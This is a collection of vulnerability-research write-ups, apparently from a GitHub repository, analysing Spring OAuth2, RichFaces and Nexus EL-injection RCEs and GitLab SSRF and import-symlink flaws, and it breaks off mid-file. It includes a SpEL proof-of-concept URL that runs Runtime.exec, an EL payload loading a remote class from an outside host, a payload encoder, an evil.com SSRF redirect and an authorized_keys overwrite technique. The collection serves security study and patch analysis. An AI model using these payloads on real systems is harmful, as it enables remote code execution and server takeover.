Repository: Cryin/Paper Branch: master Commit: ea1ef67ba4e3 Files: 26 Total size: 154.2 KB Directory structure: gitextract_jk8k76ml/ ├── CVE-2018-1260 spring-security-oauth2 RCE Analysis.md ├── CVE-2018-14667 - JBoss RichFaces EL Injection RCE Analysis.md ├── CVE-2018-16621 Nexus Repository Manager3 任意EL表达式注入.md ├── GitLab web hooks SSRF(CVE-2018-8801) Patch analysis and How to safely fix SSRF.md ├── Gitlab Projects Import RCE Analysis.md ├── JAVA代码审计之SSRF漏洞.md ├── JAVA安全编码与代码审计.md ├── Java反序列化漏洞分析及检测方案.md ├── Magento CSRF Lead To Arbitrary File Upload Vulnerability.md ├── PHP代码审计初窥.doc ├── README.md ├── Recognizing C Code Constructs In Assembly.txt ├── S2-046 漏洞调试及分析.doc ├── S2-048 漏洞调试及分析.md ├── S2-052漏洞分析.md ├── ScrumWorks Pro 反序列化漏洞分析.md ├── SpEL injection.md ├── Spring AMQP远程代码执行漏洞(CVE-2017-8045)分析.md ├── Spring MVC Autobinding漏洞实例初窥.md ├── SpringBoot应用监控Actuator使用的安全隐患.md ├── XXE(XML 实体注入)漏洞攻防分析.docx ├── Xstream反序列化漏洞修复方案.md ├── phpcms v9.6.0 wap模块 SQL注入分析.md ├── 基于Web漏洞扫描的URL及网页框架聚类研究.md ├── 应用安全:JAVA反序列化漏洞之殇.md └── 浅谈Java反序列化漏洞修复方案.md ================================================ FILE CONTENTS ================================================ ================================================ FILE: CVE-2018-1260 spring-security-oauth2 RCE Analysis.md ================================================ ### CVE-2018-1260 spring-security-oauth2 RCE Analysis #### 介绍 根据Sping官方给出的公告信息,spring-security-oauth若干版本中包含一个RCE漏洞,恶意攻击者构造特定授权请求,当资源所有者将其转发给approval批准页面时可导致远程代码执行。 漏洞触发条件: * 应用程序做为授权服务器角色 (例如使用注解@EnableAuthorizationServer) * 使用默认的Approval Endpoint 实际开发中,大部分oauth2使用者一般都会重写Approval Endpoint以满足自身需求。所以初步看这个漏洞利用条件还是比较苛刻的。 受影响版本及详细可参考官方的公告: > [Spring Security OAuth:versions 2.3 prior to 2.3.3 and 2.2 prior to 2.2.2 and 2.1 prior to 2.1.2 and 2.0 prior to 2.0.15 and older unsupported versions](https://pivotal.io/security/cve-2018-1260) #### 漏洞DEMO分析 官方的[sample](https://github.com/spring-projects/spring-security-oauth/tree/master/tests/annotation/approval)示例代码及网络上关于oauth2的demo不少,以[Spring Security OAuth2 Demo工程](https://github.com/wanghongfei/spring-security-oauth2-example)为例新进行调试分析。作者给出了mysql表信息,创建数据库并添加一条测试数据即可以运行该demo,详细见sample代码库README描述。 可以看到这个demo启动类使用了@EnableAuthorizationServer注解,并且使用默认的授权批准页面。这里要说明的是authorization code模式的授权方式,如图所示: ![bg2014051204.png](http://www.ruanyifeng.com/blogimg/asset/2014/bg2014051204.png) 用户发起授权请求时,client端将用户导向认证服务器,用户认证后进行approval授权批准,用户approval后,认证服务器将用户导向client端事先指定的重定向URIredirection URI),同时附上一个授权码,client端拿这个授权码向认证服务器申请访问令牌及刷新令牌,从而完成Oauth授权。在spring-security-oauth2中默认由请求/oauth/authorize处理授权请求,代码如下: ```java @RequestMapping(value = "/oauth/authorize") public ModelAndView authorize(Map model, @RequestParam Map parameters, SessionStatus sessionStatus, Principal principal) { AuthorizationRequest authorizationRequest = getOAuth2RequestFactory().createAuthorizationRequest(parameters); Set responseTypes = authorizationRequest.getResponseTypes(); if (!responseTypes.contains("token") && !responseTypes.contains("code")) { throw new UnsupportedResponseTypeException("Unsupported response types: " + responseTypes); } if (authorizationRequest.getClientId() == null) { throw new InvalidClientException("A client id must be provided"); } .... oauth2RequestValidator.validateScope(authorizationRequest, client); .... return getAuthorizationCodeResponse(authorizationRequest, (Authentication) principal); .... ``` 逐步往下看,其中createAuthorizationRequest函数处理授权请求参数并构造AuthorizationRequest对象,主要包含一下参数: * response_type:表示授权类型,必选项,授权码模式此处的值固定为"code" * client_id:表示客户端的ID,必选项 * redirect_uri:表示重定向URI,可选项 * scope:表示申请的权限范围,可选项 * state:表示客户端的当前状态,可以指定任意值,认证服务器会原封不动地返回这个值。 而后面的validateScope会对scope参数进行校验检查,如果clientScopes不为空则进行白名单检查,如果授权请求传入的scope不在设置的clientScopes这个list中,则抛出异常Invalid scope,如果clientScopes为空,则仅校验输入的scope不为空即会继续执行程序。而这个漏洞的触发点正式scope参数,所以在示例demo中一定要设置clientScopes为空,这也是这个漏洞触发的一个前提条件。validateScope的代码如下: ```java private void validateScope(Set requestScopes, Set clientScopes) { if (clientScopes != null && !clientScopes.isEmpty()) { for (String scope : requestScopes) { if (!clientScopes.contains(scope)) { throw new InvalidScopeException("Invalid scope: " + scope, clientScopes); } } } if (requestScopes.isEmpty()) { throw new InvalidScopeException("Empty scope (either the client or the user is not allowed the requested scopes)"); } } ``` 最后调用getAuthorizationCodeResponse将请求forward至/oauth/confirm_access页面,由用户进行approval批准授权,代码如下: ```java // We need explicit approval from the user. private ModelAndView getUserApprovalPageResponse(Map model, AuthorizationRequest authorizationRequest, Authentication principal) { if (logger.isDebugEnabled()) { logger.debug("Loading user approval page: " + userApprovalPage); } model.putAll(userApprovalHandler.getUserApprovalRequest(authorizationRequest, principal)); return new ModelAndView(userApprovalPage, model); } ``` 这里userApprovalPage即为/oauth/confirm_access,model中包含了之前构造的授权请求AuthorizationRequest对象。[ModelAndView](https://docs.spring.io/spring/docs/current/javadoc-api/org/springframework/web/servlet/ModelAndView.html)简单说就是MVC框架中包含Model和View的对象,ModelAndView返回模型和视图后由DispatcherServlet解析处理该请求。随之程序进入/oauth/confirm_access,代码如下: ```java @RequestMapping("/oauth/confirm_access") public ModelAndView getAccessConfirmation(Map model, HttpServletRequest request) throws Exception { String template = createTemplate(model, request); if (request.getAttribute("_csrf") != null) { model.put("_csrf", request.getAttribute("_csrf")); } return new ModelAndView(new SpelView(template), model); } ``` createTemplate函数创建模版视图,经过一些替换及拼接处理得到最终的template如下: ![oauth1.png](https://i.loli.net/2018/11/05/5be03700c7d9a.png) 然后调用了SpelView初始化view对象。传入ModelAndView展示approval批准授权页面,之后DispatcherServlet解析处理,之后通过view.render调用加载视图。 ```java try { view.render(mv.getModelInternal(), request, response); } catch (Exception ex) { if (logger.isDebugEnabled()) { logger.debug("Error rendering view [" + view + "] in DispatcherServlet with name '" + getServletName() + "'", ex); } throw ex; } ``` 因为这里的view是SpelView对象,所以进入SpelView类的render方法: ```java public void render(Map model, HttpServletRequest request, HttpServletResponse response) throws Exception { Map map = new HashMap(model); String path = ServletUriComponentsBuilder.fromContextPath(request).build() .getPath(); map.put("path", (Object) path==null ? "" : path); context.setRootObject(map); String maskedTemplate = template.replace("${", prefix); PropertyPlaceholderHelper helper = new PropertyPlaceholderHelper(prefix, "}"); String result = helper.replacePlaceholders(maskedTemplate, resolver); result = result.replace(prefix, "${"); response.setContentType(getContentType()); response.getWriter().append(result); } ``` 调试跟进replacePlaceholders函数,可以看到函数调用了parseStringValue方法,并将模版中每一个变量值都传入resolvePlaceholder方法将输入变量做为Spel表达式去解析,resolvePlaceholder方法如下: ```java public String resolvePlaceholder(String name) { Expression expression = parser.parseExpression(name); Object value = expression.getValue(context); return value == null ? null : value.toString(); } ``` 其中expression.getValue会最终调用继承了MethodExecutor的ReflectiveMethodExecutor执行java.lang.Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator"),从而造成任意代码执行漏洞。理论上这里传入的name参数包括_csrf.token、client、path、scope等参数只要可控,都可以造成代码执行。 ![oauth2.png](https://i.loli.net/2018/11/05/5be036fe48deb.png) #### 漏洞POC http://localhost:8080/oauth/authorize?client_id=client&response_type=code&redirect_uri=http://www.github.com/cryin/paper&scope=%24%7BT%28java.lang.Runtime%29.getRuntime%28%29.exec%28%22/Applications/Calculator.app/Contents/MacOS/Calculator%22%29%7D #### 补丁对比 通过补丁可以看到官方把SpelView去掉,转而使用普通的View对象,同时对默认模版进行了一些修改。 [Remove SpelView in WhitelabelApprovalEndpoint · spring-projects/spring-security-oauth@1c6815a · GitHub](https://github.com/spring-projects/spring-security-oauth/commit/1c6815ac1b26fb2f079adbe283c43a7fd0885f3d):https://github.com/spring-projects/spring-security-oauth/commit/1c6815ac1b26fb2f079adbe283c43a7fd0885f3d #### 总结 通过分析可知,这个漏洞触发的前提条件较多,除文章开头官方给出的两个条件外,授权服务的scope也需要设置为空,这种情况在实际应用中非常少见。但这个漏洞的重点不是Oauth本身,而是Spel表达式使用带来潜在的安全问题。诸如SpelView等涉及spel表达式解析的接口应该还很多。只要参数外部可控均有可能造成任意代码执行。这个问题有点和Struts2的OGNL表达式相似。Spel表达式注入可能是Spring后面会面临较多的安全问题。挖漏洞也可以从这个方向入手。 #### 参考 * [h3xStream's blog: Beware of the Magic SpEL(L) - Part 1 (CVE-2018-1273)](https://blog.h3xstream.com/2018/05/beware-of-magic-spell-part-1-cve-2018.html) * [Remove SpelView in WhitelabelApprovalEndpoint · spring-projects/spring-security-oauth@1c6815a · GitHub](https://github.com/spring-projects/spring-security-oauth/commit/1c6815ac1b26fb2f079adbe283c43a7fd0885f3d) * [GitHub - wanghongfei/spring-security-oauth2-example: Spring Security OAuth2 Demo工程](https://github.com/wanghongfei/spring-security-oauth2-example) * [Spring Security OAuth](http://projects.spring.io/spring-security-oauth/docs/oauth2.html) * [理解OAuth 2.0 - 阮一峰的网络日志](http://www.ruanyifeng.com/blog/2014/05/oauth_2_0.html?tdsourcetag=s_pctim_aiomsg) * [spring-security-oauth/tests/annotation/approval at master · spring-projects/spring-security-oauth · GitHub](https://github.com/spring-projects/spring-security-oauth/tree/master/tests/annotation/approval) ================================================ FILE: CVE-2018-14667 - JBoss RichFaces EL Injection RCE Analysis.md ================================================ ### CVE-2018-14667 - JBoss RichFaces EL Injection RCE Analysis * Auth:[Cryin](https://github.com/Cryin/Paper) #### 介绍 根据Red Hat官方给出的[公告信息](https://securitytracker.com/id/1042037),Java RichFaces框架中包含一个RCE漏洞,恶意攻击者构造包含org.ajax4jsf.resource.UserResource$UriData序列化对象的特定UserResource请求,RichFaces会先反序列化该UriData对象,然后使用EL表达式解析并获取resource的modified、expires等值导致了任意EL表达式执行,通过构造特殊的EL表达式可实现远程任意代码执行。 * 关于RichFaces JavaServer Faces(JSF)是一个用于为Web应用程序构建用户界面的框架。 虽然只有两个主要的JSF实现(Apache MyFaces和Oracle Mojarra),但有几个组件库,它们提供了额外的UI组件和功能。 RichFaces是这些组件库中最受欢迎的库之一,因为它是JBoss出品且也是JBoss EAP等产品的一部分。 RichFaces已经于2016年停止开发,最新的版本分支为3.3.4、4.5.17 * 受影响Richfaces版本: * JBoss Richfaces 3.1.x - 3.3.4 * 受影响产品 * Enterprise Application Platform 5.2 * Red Hat JBoss BRMS 5.3.1 * Red Hat JBoss SOA Platform 5.3.1 * Red Hat Developer Studio 12.9 #### 漏洞分析 RichFaces的Resource相关请求均由InternetResourceService的serviceResource来处理,根据请求中的数据动态生成图像、视频、声音等资源,在RichFaces 3.x中,资源数据请求被放在/DATA/或者/DATB/的请求路径下,其中/DATB/后面跟的是字节数组,/DATA/后面跟的是序列化后的对象,在serviceResource中调用的getResourceDataForKey函数可以看到: ```java public Object getResourceDataForKey(String key) { Object data = null; String dataString = null; //private static final Pattern DATA_SEPARATOR_PATTERN = Pattern.compile("/DAT(A|B)/"); Matcher matcher = DATA_SEPARATOR_PATTERN.matcher(key); if (matcher.find()) { .... try { dataArray = dataString.getBytes("ISO-8859-1"); objectArray = decrypt(dataArray); } catch (UnsupportedEncodingException e1) { // default encoding always presented. } if ("B".equals(matcher.group(1))) { data = objectArray; } else { try { ObjectInputStream in = new LookAheadObjectInputStream(new ByteArrayInputStream(objectArray)); data = in.readObject(); ..... ..... return data; } ``` 其中在函数LookAheadObjectInputStream中进行了反序列化操作,Richfaces重写了ObjectInputStream类的resolveClass方法来实现反序列化类白名单限制,在framework/impl/src/main/java/org/ajax4jsf/resource/LookAheadObjectInputStream.java中可以看到: ```java /** * Only deserialize primitive or whitelisted classes */ @Override protected Class resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { Class primitiveType = PRIMITIVE_TYPES.get(desc.getName()); if (primitiveType != null) { return primitiveType; } if (!isClassValid(desc.getName())) { throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName()); } return super.resolveClass(desc); } boolean isClassValid(String requestedClassName) { if (whitelistClassNameCache.containsKey(requestedClassName)) { return true; } try { Class requestedClass = Class.forName(requestedClassName); for (Class baseClass : whitelistBaseClasses ) { if (baseClass.isAssignableFrom(requestedClass)) { whitelistClassNameCache.put(requestedClassName, Boolean.TRUE); return true; } } } catch (ClassNotFoundException e) { return false; } return false; } ``` 在isClassValid函数中调用了class.isAssignableFrom校验反序列化的类,就是说只要是对象的子类或者接口与白名单相同也是允许反序列化的。其中3.x版本中白名单包含了bool、int等java常用基本类型,同时还有: ```java org.ajax4jsf.resource.InternetResource, org.ajax4jsf.resource.SerializableResource, javax.el.Expression, javax.faces.el.MethodBinding, javax.faces.component.StateHolderSaver, java.awt.Color ``` 在4.x版本中又陆续增加了一些白名单类:[History for serialization.properties - richfaces](https://github.com/richfaces/richfaces/commits/4.5.17.Final/core/src/main/resources/org/richfaces/resource/resource-serialization.properties) 对请求中的资源数据反序列化后,接着send给InternetResourceBase的sendHeaders函数处理: ```java public void sendHeaders(ResourceContext context) { boolean cached = context.isCacheEnabled() && isCacheable(context); if (log.isDebugEnabled()) { log.debug(Messages.getMessage(Messages.SET_RESPONSE_HEADERS_INFO, getKey())); } // context.setHeader("Content-Type",getContentType()); context.setContentType(getContentType(context)); Date lastModified = getLastModified(context); if (lastModified != null) { context.setDateHeader("Last-Modified", lastModified.getTime()); } int contentLength = getContentLength(context); if (cached) { if (contentLength > 0) { context.setContentLength(contentLength); } long expired = getExpired(context); if (expired < 0) { expired = DEFAULT_EXPIRE; } context.setDateHeader("Expires", System.currentTimeMillis() + expired); context.setHeader("Cache-control", "max-age=" + (expired / 1000L)); } else { if (contentLength > 0) { context.setContentLength(contentLength); // } else { // context.setHeader("Transfer-Encoding", "chunked"); } context.setHeader("Cache-control", "max-age=0, no-store, no-cache"); context.setHeader("Pragma", "no-cache"); context.setIntHeader("Expires", 0); } } ``` 这里调用getLastModified及getExpired方法获取了Modified、expired等一些header,因为这里请求类型是UserResource,所以继续看UserResource类的getLastModified函数代码: ```java public Date getLastModified(ResourceContext resourceContext) { UriData data = (UriData) restoreData(resourceContext); FacesContext facesContext = FacesContext.getCurrentInstance(); if (null != data && null != facesContext ) { // Send headers ELContext elContext = facesContext.getELContext(); if(data.modified != null){ ValueExpression binding = (ValueExpression) UIComponentBase.restoreAttachedState(facesContext,data.modified); Date modified = (Date) binding.getValue(elContext); if (null != modified) { return modified; } } } return super.getLastModified(resourceContext); } ``` 其中UriData的定义如下,这里UriData实现了SerializableResource接口,所以等于UriData也是在反序列化类白名单里的: ```java public static class UriData implements SerializableResource { private static final long serialVersionUID = 1258987L; private Object value; private Object createContent; private Object expires; private Object modified; } ``` 这里将对象转换为UriData类型并将data.modified作为el表达式传入ValueExpression.getValue从而造成任意EL表达式执行漏洞。 以RichFaces官方的[richfaces-demo (3.3.3 Final)](http://richfaces.jboss.org/demos)进行调试,下载war包并启动tomcat,在Ajax Output->Media Outpput菜单可触发UserResource请求,随便使用数字替换请求中的资源数据请求: ``` http://127.0.0.1:8080/richfaces-3.3.3.Final/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/s/-1487394660/DATA/123.jsf ``` response: ![4de874f4.png](https://i.loli.net/2018/11/15/5bed1f68b97f8.png) 查看ResourceBuilderImpl.decrypt函数可知richfaces对资源数据先进行了base64解码,然后使用DEFLATE解压缩 ```java protected byte[] decrypt(byte[] src) { try { //decode 方法调用:URL64Codec.decodeBase64,并且替换了+等几个特殊字符 byte[] zipsrc = codec.decode(src); Inflater decompressor = new Inflater(); byte[] uncompressed = new byte[zipsrc.length * 5]; decompressor.setInput(zipsrc); int totalOut = decompressor.inflate(uncompressed); byte[] out = new byte[totalOut]; System.arraycopy(uncompressed, 0, out, 0, totalOut); decompressor.end(); return out; } catch (Exception e) { throw new FacesException("Error decode resource data", e); } } ``` 所以利用该漏洞需要先构造包含EL表达式的UriData序列化对象,然后再将数据DEFLATE压缩,最后再进行base64编码。 #### POC构造 POC构造可参考tint0的文章[When EL Injection meets Java Deserialization](https://tint0.com/when-el-injection-meets-java-deserialization/)给出的利用方式进行构造,构造特殊的UriData对象,因为首先处理的是modified值,所以这里将modified的值设置为 javax.faces.component.StateHolderSaver对象,而该对象的savedState字段为ValueExpressionImpl对象,ValueExpressionImpl 对象的 expr 字段为注入的el表达式,形如: ```txt Ljava.lang.Object[UriData] [0] = (value) null [1] = (createContent) null [2] = (expires) null [3] = (modified) javax.faces.component.StateHolderSaver savedState = (org.apache.el.ValueExpressionImpl) expr = (java.lang.String) "${a="".getClass().forName("javax.management.loading.MLet").newInstance();a.addURL("http://192.168.1.5:8314/exploit");a.loadClass("exploit",null)}" node = (Node) null FunctionMapper = (FunctionMapper) null VariableMapper = (VariableMapper) null expectedType = (expectedType) null ``` 这里StateHolderSaver构造函数第一个参数为FacesContext是抽象类,无法实例化,所以无法通过反射调用构造函数创建javax.faces.component.StateHolderSaver对象,这里可以使用[Objenesis](http://objenesis.org)不使用构造函数创建对象: ```java Class cls = Class.forName("javax.faces.component.StateHolderSaver"); Objenesis objenesis = new ObjenesisStd(true); Object myObj = objenesis.newInstance(cls); ``` 创建好序列化对象后使用下面脚本进行编码 ```python import base64 import zlib import binascii def main(): filename='payload' f = open(filename, "rb") class_data=f.read() hexstr = binascii.b2a_hex(class_data) data=zlib.compress(class_data) data=base64.b64encode(data).replace("+","-").replace("/","!").replace("=","_") print "compress:" +data if __name__ == '__main__': main() ``` 将compress好的数据附在UserResource请求的/DATA/后面重放请求即可触发漏洞。 #### 总结 这个漏洞算是java反序列化与EL表达式注入合体的一个比较有意思漏洞,漏洞原理及利用思路和CVE-2015-0279也基本相似。RichFaces已经停止开发,官方对受影响的产品出了补丁,给出的修复建议是 在RichFaces中禁用EL表达式或者在反序列化白名单中限制一些类反序列化,但显然这个漏洞反序列化类也是不好限制的,如果将SerializableResource从白名单中去除可能会影响系统其它地方反序列化的正常运行。要从代码层面修复漏洞只能自己编写修复个人感觉比较快速的止血方法是对资源数据加解密的方法decrypt进行修改,当然也可以对URL中包含ajax4jsf.resource.UserResource的请求进行拦截已防止漏洞攻击。 #### 参考 * [CVE-2018-14667 - RichFaces remote code execution - Red Hat Customer Portal](https://access.redhat.com/solutions/3660371) * [Red Hat JBoss EAP RichFaces Access Control Bug Lets Remote Users Execute Arbitrary Code on the Target System - SecurityTracker](https://securitytracker.com/id/1042037) * [Java Reflection - Constructors](http://tutorials.jenkov.com/java-reflection/constructors.html) * [Objenesis : Twenty Second Tutorial](http://objenesis.org/tutorial.html) * [[RF-13977] Remote Command Injection (EL Injection) - JBoss Issue Tracker](https://issues.jboss.org/browse/RF-13977) * [Remote Code with Expression Language Injection | Dan Amodio](http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection/) * [code white | Blog: Poor RichFaces](https://codewhitesec.blogspot.com/2018/05/poor-richfaces.html) ================================================ FILE: CVE-2018-16621 Nexus Repository Manager3 任意EL表达式注入.md ================================================ * Auth:Cryin' #### 介绍 根据sonatype官方给出的[公告信息](https://support.sonatype.com/hc/en-us/articles/360010789153-CVE-2018-16621-Nexus-Repository-Manager-Java-Injection-October-17-2018),Nexus Repository Manager 3存在一个任意EL表达式注入漏洞,攻击通过构造特殊请求可可实现远程任意代码执行。 * 关于sonatype Nexus Sonatype Nexus Repository Manager(又名NXRM)是一款maven仓库管理应用。 * 受影响Richfaces版本: * All previous Nexus Repository Manager 3 OSS/Pro versions up to and including 3.13.0 #### 补丁分析 Nexus对于CVE-2018-16621的漏洞修复补丁对比: > [nexus-public/EscapeHelper.java at f94f870eb4dbee30f82b9290e10a35658d4105f8 · sonatype/nexus-public · GitHub](https://github.com/sonatype/nexus-public/blob/f94f870eb4dbee30f82b9290e10a35658d4105f8/components/nexus-common/src/main/java/org/sonatype/nexus/common/template/EscapeHelper.java) 在3.14.0版本中最,新增了EscapeHelper.stripJavaEl方法对用户输入roles参数进行过滤,正则匹配的结果是将‘${’替换为‘{ ’,从而防止EL表达式注入。 ![e71d33c3.png](https://i.loli.net/2018/11/17/5befba034ae91.png) 其中EscapeHelper.stripJavaEl的实现如下: ```java /** * Strip java el start token from a string * @since 3.14 */ public String stripJavaEl(final String value) { if (value != null) { return value.replaceAll("\\$+\\{", "{"); } return null; } } ``` #### 漏洞成因 在 org.sonatype.nexus.security.privilege.PrivilegesExistValidator 和 org.sonatype.nexus.security.role.RolesExistValidator 类中,会将没有找到的 privilege 或 role 放入错误模板中,而在错误模板在渲染的时候会提取其中的EL表达式并执行 #### 漏洞复现 拉取一个版本低于3.14.0的Nexus docker镜像,这里随便找一个shifudao/nexus3: ```text docker pull shifudao/nexus3 ``` 使用如下命令运行: ```bash docker run -d -p 8081:8081 --name nexus shifudao/nexus3 ``` 访问http://localhost:8081 并使用默认账号密码admin:admin123登录Nexus,创建用户并修改用户角色参数roles,也可通过创建角色的roles 和 privileges参数触发如图: ![ebeb068b.png](https://i.loli.net/2018/11/17/5befbeb104d44.png) #### 修复建议 官方已发布修复版本,升级版本至3.14.0即可,升级帮助:https://support.sonatype.com/hc/en-us/articles/115000350007 #### 参考 * [CVE-2018-16621 Nexus Repository Manager (Java Injection) - October 17, 2018 – Sonatype Support](https://support.sonatype.com/hc/en-us/articles/360010789153-CVE-2018-16621-Nexus-Repository-Manager-Java-Injection-October-17-2018) * [Upgrading Nexus Repository Manager 3.1.0 and Newer – Sonatype Support](https://support.sonatype.com/hc/en-us/articles/115000350007) ================================================ FILE: GitLab web hooks SSRF(CVE-2018-8801) Patch analysis and How to safely fix SSRF.md ================================================ ### GitLab web hooks SSRF(CVE-2018-8801) Patch analysis and How to safely fix SSRF > Auth:[Cryin](https://github.com/Cryin/Paper/) #### 介绍 GitLab官方发布安全公告,gitlab的WebHooks服务中存在SSRF漏洞,攻击者可以构造请求地址由gitlab发起内部网络请求。从而导致信息泄露,以及潜在的代码执行风险。 web hooks简单来说就是当项目发生提交代码、新建issue、merge等动作时会自动触发webhook url的http请求调用,这个请求接口可以自定义实现对这些动作进行一些处理操作。 受影响版本及详细可参考官方的公告: > [GitLab Critical Security Release: 10.5.6, 10.4.6, and 10.3.9](https://about.gitlab.com/2018/03/20/critical-security-release-gitlab-10-dot-5-dot-6-released/) #### 补丁分析 以10.3.9版本的补丁进行分析,[补丁commit链接: ](https://gitlab.com/gitlab-org/gitlab-ce/commit/2655d95d87a7f46029248062514daa3de2efde9b)https://gitlab.com/gitlab-org/gitlab-ce/commit/2655d95d87a7f46029248062514daa3de2efde9b 在新版本中可以看到对于webhooks的请求是否允许向内网发起请求在app/models/application_setting.rb文件中增加了设置项allow_local_requests_from_hooks_and_services,通过这个设置来判断是否允许对内部网络发起请求。默认是false: ```ruby allow_local_requests_from_hooks_and_services: false ``` 多处service文件中之前发起http请求使用的方法由原来的HTTParty替换成自定义的Gitlab::HTTP。 ![](https://xzfile.aliyuncs.com/media/upload/picture/20180504224300-71453e00-4fa9-1.png) 以bamboo_service.rb文件为例: ![](https://xzfile.aliyuncs.com/media/upload/picture/20180504224346-8ccaff98-4fa9-1.png) 其中Gitlab::HTTP是在新增的两个程序文件实现,分别是lib/gitlab/目录下的http.rb、proxy_http_connection_adapter.rb http方法还是通过HTTParty实现,重点在proxy_http_connection_adapter.rb这个文件中,对HTTParty::ConnectionAdapter进行重写,然后调用UrlBlocker的blocked_url结合是否允许对内部网络进行请求的设置对当前请求的uri是否为内网ip地址进行安全校验。 ```ruby module Gitlab class ProxyHTTPConnectionAdapter < HTTParty::ConnectionAdapter def connection if !allow_local_requests? && blocked_url? raise URI::InvalidURIError end super end private def blocked_url? Gitlab::UrlBlocker.blocked_url?(uri, allow_private_networks: false) end def allow_local_requests? options.fetch(:allow_local_requests, allow_settings_local_requests?) end def allow_settings_local_requests? Gitlab::CurrentSettings.current_application_settings.allow_local_requests_from_hooks_and_services? end end end ``` 然后看下lib/gitlab/url_blocker.rb文件中blocked_url的实现,blocked_url方法主要是对当前请求uri进行校验,是否为127.0.0.1等本地地址、及是否为IPv4、IPv6格式的本地私有ip地址。如果设置不允许对内部网络进行访问的话。这里请求ip符合拦截的条件,则返回错误不发起当前请求。同时也通过VALID_IMPORT_PORTS限制了请求的端口为22、80、443。 #### 再谈Web Hooks场景SSRF漏洞防御方案 很多应用会使用到Web Hooks这种场景,比如要实时通知第三方、或者给开发者提供消息推动等,诸如此类,url完全外部可控,这个时候由于url地址的不确定性没办法再使用域名白名单校验的方式解决SSRF的问题,此时要做的是限制恶意用户利用这个SSRF对内部网络发起请求和探测。 * 使用独立网络的服务器专门跑所有的回调请求,但本机端口及服务还是存在被探测的风险 * 使用ip黑名单的方式限制对127.*、10.开头的ip及内网私有ip地址发起请求 使用python实现的基于ip黑名单防御SSRF漏洞的代码demo: ```python import urlparse import socket import requests def check_addr(addr): if addr.startswith('127.') or addr.startswith('10.') or addr.startswith('192.'): return False return True def safe_web_hooks(url): parts = urlparse.urlparse(url) host = parts.hostname addr = socket.gethostbyname(host) if not check_addr(addr): raise ValueError('url policy violation') resp=requests.get(url,allow_redirects=False) print resp.status_code safe_web_hooks('http://127.0.0.1:8080') ``` 上述示例只是演示基本的ip黑名单原理,内网ip地址还需要具体结合企业网络实际情况进行全部覆盖,不然还是会有遗漏。另外注意一点是上述在发起http请求的时候限制了不允许url重定向,这里是要特别注意的,如果忽略了这一点,有可能造成使用重定向绕过黑名单检查继续对内部网络发起探请求。 上述代码如果允许重定向,则可能会绕过这个修复仍然能对内网私有ip地址发起请求。将目标站点是一个符合要求的正常站点域名地址,但是利用重定向跳转到一个内网ip地址。示例代码如下: ```java @RequestMapping(value="/redirect",method = RequestMethod.GET) public String redirect(HttpServletRequest request, HttpServletResponse response) throws IOException { String test = request.getParameter("url"); if (!test.isEmpty()) { response.sendRedirect(test); } return test; } ``` ssrf利用的请求链接形如: http://www.evil.com/redirect?url=http://127.0.0.1 #### 总结 在代码层面上SSRF的正确防御方案是在对外部输入链接发起请求时对请求对应的ip地址进行黑名单检测判断其是否为内网ip。而且需要考虑url重定向的情况,对重定向后的地址也必须要经过ip黑名单检测,确保不能对内部网络发起探测请求。如笔者给[eggjs/egg-security](https://github.com/eggjs/egg-security/pull/32)提交的不安全ctx.curl造成ssrf的问题修复,使用新增的ctx.safeCurl即可根据配置的ip黑名单对请求地址进行检测包括重定向后的地址。 #### 参考 * [feat: support safeCurl for SSRF protection by dead-horse · Pull Request #32 · eggjs/egg-security · GitHub](https://github.com/eggjs/egg-security/pull/32) * [Fanout | Blog » How to safely invoke Webhooks](http://blog.fanout.io/2014/01/27/how-to-safely-invoke-webhooks/) * [SSRF vulnerability in gitlab.com webhook (#41642) · Issues · GitLab.org / GitLab Community Edition · GitLab](https://gitlab.com/gitlab-org/gitlab-ce/issues/41642) ================================================ FILE: Gitlab Projects Import RCE Analysis.md ================================================ #### 介绍 最近GitLab官方发布的几个安全公告,包含一个Projects Import处的RCE漏洞。 A filename regular expression could be bypassed and enable the attacker to create a symbolic link in Gitlab upload directory by importing a specially crafted Gitlab export. Further more, Gitlab is designed to not delete project upload directory currently. So, the attacker could delete the imported project and then upload another specially crafted Gitlab export to a project with the same name, which leads to path traversal/arbitrary file upload and finally enables the attacker to be able to get a shell with the permission of the system gitlab user. 受影响版本及详细可参考官方的issue: > [Vulnerability in project import leads to arbitrary command execution (#49133) · Issues · GitLab.org / GitLab Community Edition · GitLab](https://gitlab.com/gitlab-org/gitlab-ce/issues/49133) #### 漏洞分析 A filename regular expression could be bypassed and enable the attacker to create a symbolic link in Gitlab upload directory by importing a specially crafted Gitlab export. Further more, Gitlab is designed to not delete project upload directory currently. So, the attacker could delete the imported project and then upload another specially crafted Gitlab export to a project with the same name, which leads to path traversal/arbitrary file upload and finally enables the attacker to be able to get a shell with the permission of the system gitlab user. Description: * 1、how to create a symbolic link in the upload directory code in file_importer.rb uses %r{.*/\.{1,2}$} to except . and .. in the extracted project import directory tree, and check everything else that does not match this regex and delete all symlinks. However, we can easily construct a symlink with the name .\nevil in the tarball that matches this regex perfectly. Therefore, it will not be removed by function remove_symlinks! in the same file, and finally uploaded to /var/opt/gitlab/gitlab-rails/uploads/nyangawa/myrepo/.\nevil -> /var/opt/gitlab (assume we import the project to nyangawa/myrepo and the symlink points to /var/opt/gitlab) * 2、how to use the uploaded symbolic link to get shell access First delete the nyangawa/myrepo project we just created. For some reasons the upload directory of this project does not get purged. Then we import another tarball which has, for example, uploads/.\neviil/.ssh/authorized_keys in it. And the content of this file is my ssh public key. Then import this tarball to create project nyangawa/myrepo again. * 3、after all the uploaded authorized_keys is copied to /var/opt/gitlab/gitlab-rails/uploads/nyangawa/myrepo/.\nevil/.ssh/authorized_keys of the victim's filesystem but unfortunately, this path redirects to /var/opt/gitlab/.ssh/authorized_keys. Then I can login to the victim server by ssh with Gitlab's system username. For step 2 and 3, there're some other approaches to get command executed since we can already upload any file to the victim's file system controlled by Gitlab. * Impact * An attacker can upload arbitrary file to the victim's file system * Data of other users could be override * An attacker can get a system shell by overwrite specific files. To reproduce the issue with these tarballs. * 1、create project evil_project by importing tarball1.tar.gz ``` root@10:/var/opt/gitlab/gitlab-rails/uploads/root# ls -alh evil_project/ total 8.0K drwx------ 2 git git 4.0K Jul 11 00:34 . lrwxrwxrwx 1 git git 15 Jul 11 00:34 .?evil -> /var/opt/gitlab drwxr-xr-x 10 git git 4.0K Jul 11 